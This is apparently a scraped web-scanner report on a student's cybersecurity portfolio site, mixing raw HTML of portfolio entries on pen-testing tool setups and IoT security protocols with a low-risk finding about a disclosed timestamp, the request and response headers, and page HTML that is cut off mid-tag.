HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 254375293Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev/
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 257747436, which evaluates to: 1978-03-03 05:30:36
Request Request line and header section (224 bytes)
GET https://beekmans.dev/ HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1039 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O9CfHQgObVNEaGCeR54qKKwytECMmlM5H0bXWDqJpVGo4vNUT18M2ld9NoeIDxTsPe1bzHv%2F9eh3xB7p6KNQNXYdikH5v2vQoVZ4Lqr2%2BgmRM8bXQ1W95L9VnzmijHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a326098f0c09-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178339 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 